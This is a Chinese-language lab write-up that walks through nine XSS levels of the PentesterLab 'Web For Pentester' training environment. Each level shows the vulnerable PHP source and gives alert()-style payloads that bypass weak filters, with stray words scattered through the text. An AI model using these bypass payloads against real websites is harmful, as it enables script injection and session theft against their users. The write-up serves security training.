Web For Pentester靶场(xss部分)

配置

官网:https://pentesterlab.com/
下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:

而后直接访问ip便可
web for pentester默认没有root密码,能够来设置密码,方便ssh链接等查看源码php

sudo passwd

第一关

查看源码:

<?php
        echo $_GET["name"];
?>

分析:

没有任何的过滤,直接将get获取的打印html

payload:

/xss/example1.php?name=
git

第二关

查看源码:

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/","", $name);
        $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

分析:

这里经过preg_replace()函数来正则,可是这种匹配是有缺陷的,没有匹配大小写,能够经过大小写绕过
github

payload:

/xss/example2.php?name=<Script>alert('xss')</Script>

第三关

查看源码:

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/i","", $name);
        $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

分析:

在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,可是只匹配了一次,相似sql注入(Seselectlect),能够嵌套<script>,匹配到了,替换成空格变成咱们想要的了web

payload:

/xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>

第四关

查看源码:

<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>
Hello <?php  echo $_GET["name"]; ?>

分析:

对script进行了不区分大小写,匹配若是匹配到,就执行die("error"),终止程序,因此scirpt不能用,只能经过其余标签来触发js事件,可以使用onerror事件,来执行js

sql

payload:

/xss/example4.php?name=<img src="xss" onerror=alert('xss')>

第五关

查看源码:

<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>
Hello <?php  echo $_GET["name"]; ?>

分析:

对alert进行了过滤浏览器

一.可使用相似alert的方法来弹窗好比confirm,prompt


二.经过编码绕过,String.fromCharCode()编码来绕过,可使用hackbar来快速编码




ssh

payload:

/xss/example5.php?name=<script>confirm('xss')</script>
/xss/example5.php?name=<script>prompt('xss')</script>
/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>



第六关

查看源码:

<script>
        var $a= "<?php  echo $_GET["name"]; ?>";
</script>

分析:

经过get的方式传入name变量,输入赋值给全局变量a,能够经过闭合双引号或者注释双引号来增长咱们的js代码xss

payload:

/xss/example6.php?name=";alert('xss');"
/xss/example6.php?name=";alert('xss');//




第七关

查看源码:

<script>
        var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

分析:

和第八关类似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好因此能够继续包含和注释函数

payload:

/xss/example7.php?name=';alert('xss');'
/xss/example7.php?name=';alert('xss');//




第八关

查看源码:

<?php
  require_once '../header.php';
if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

分析:

name变量经过form表单以post方式传入,而后经过htmlentities函数实体化后输出来,并未找到破解的方法。而后观察

,用户可控制参数PHP_SELF,而且没有闭合引号和标签

payload:

/xss/example8.php/"><script>alert('XSS')</script>//
/xss/example8.php/" onclick=alert('XSS')//



第九关

查看源码:

<script>
  document.write(location.hash.substring(1));
</script>

分析:

location.hash属性

payload:

/xss/example9.php#<script>alert('XSS')</script>

注意:在火狐和Chrome浏览器<>会被自动转码

参考文章

https://www.sqlsec.com/2020/05/pentesterlab.html
https://blog.csdn.net/qq_20307987/article/details/51284169
欢迎访问个人我的博客:https://lmg66.github.io/

相关文章
相关标签/搜索